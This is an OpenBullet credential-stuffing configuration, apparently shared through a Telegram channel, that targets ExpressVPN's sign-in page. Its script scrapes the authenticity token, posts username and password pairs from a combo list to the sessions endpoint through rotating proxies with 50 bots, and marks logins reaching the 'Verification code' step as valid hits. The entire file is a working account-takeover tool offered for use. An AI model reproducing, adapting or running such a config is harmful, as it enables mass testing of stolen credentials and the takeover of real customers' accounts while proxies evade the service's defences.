[SETTINGS]
{
  "Name": "ExpressVpn",
  "SuggestedBots": 50,
  "MaxCPM": 0,
  "LastModified": "2020-08-15T21:28:39.7494924+04:30",
  "AdditionalInfo": "PROXY HQ | https://t.me/OpenBulletConfigs Join!!!",
  "RequiredPlugins": [],
  "Author": "KindKhers4lx",
  "Version": "1.2.2",
  "SaveEmptyCaptures": false,
  "ContinueOnCustom": false,
  "SaveHitsToTextFile": false,
  "IgnoreResponseErrors": false,
  "MaxRedirects": 8,
  "NeedsProxies": true,
  "OnlySocks": false,
  "OnlySsl": false,
  "MaxProxyUses": 0,
  "BanProxyAfterGoodStatus": false,
  "BanLoopEvasionOverride": -1,
  "EncodeData": false,
  "AllowedWordlist1": "",
  "AllowedWordlist2": "",
  "DataRules": [],
  "CustomInputs": [],
  "ForceHeadless": false,
  "AlwaysOpen": false,
  "AlwaysQuit": false,
  "QuitOnBanRetry": false,
  "DisableNotifications": false,
  "CustomUserAgent": "",
  "RandomUA": false,
  "CustomCMDArgs": ""
}

[SCRIPT]
FUNCTION URLEncode "<USER>" -> VAR "UP" 

FUNCTION URLEncode "<PASS>" -> VAR "PS" 

REQUEST GET "https://www.expressvpn.com/sign-in" 
  
  HEADER "user-agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 
  HEADER "Pragma: no-cache" 
  HEADER "Accept: */*" 
  HEADER "origin: https://www.expressvpn.com" 
  HEADER "referer: https://www.expressvpn.com/sign-in" 
  HEADER "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" 
  HEADER "accept-encoding: gzip, deflate, br" 
  HEADER "accept-language: fa-IR,fa;q=0.9,en-US;q=0.8,en;q=0.7" 

#TOKEN PARSE "<SOURCE>" LR "name=\"authenticity_token\" value=\"" "\" />" EncodeOutput=TRUE CreateEmpty=FALSE -> VAR "TOKEN" 

REQUEST POST "https://www.expressvpn.com/sessions" 
  CONTENT "utf8=&#x2713&authenticity_token=<TOKEN>&email=<UP>&password=<PASS>" 
  CONTENTTYPE "application/x-www-form-urlencoded" 
  HEADER "user-agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 
  HEADER "Pragma: no-cache" 
  HEADER "Accept: */*" 
  HEADER "origin: https://www.expressvpn.com" 
  HEADER "referer: https://www.expressvpn.com/sign-in" 

KEYCHECK 
  KEYCHAIN Failure OR 
    KEY "Invalid email or password" 
  KEYCHAIN Success OR 
    KEY "Verification code"